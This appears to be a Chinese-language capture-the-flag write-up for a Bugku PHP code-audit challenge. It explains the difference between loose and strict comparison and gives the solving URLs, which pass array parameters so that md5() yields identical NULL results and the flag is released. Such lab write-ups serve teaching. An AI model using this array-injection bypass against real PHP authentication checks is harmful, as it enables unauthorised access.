bugku ctf 代码审计 md5()函数

    xiaoxiao2023-10-24  138

    <?php error_reporting(0); $flag = 'flag{test}'; if (isset($_GET['username']) and isset($_GET['password'])) { if ($_GET['username'] == $_GET['password']) print 'Your password can not be your username.'; else if (md5($_GET['username']) === md5($_GET['password'])) die('Flag: '.$flag); else print 'Invalid password'; } ?>

     

    读代码,本题的意思就是使username!=password    &&    md5(username)===md5(password)

    md5() 函数计算字符串的 MD5 散列

    松散比较:使用两个等号 == 比较,只比较值,不比较类型。严格比较:用两个等号 === 比较,除了比较值,也比较类型。

    构造

    http://123.206.87.240:9009/18.php?username[]=1&password[]=0   

    http://123.206.87.240:9009/18.php?username[]=a&password[]=b

    最新回复(0)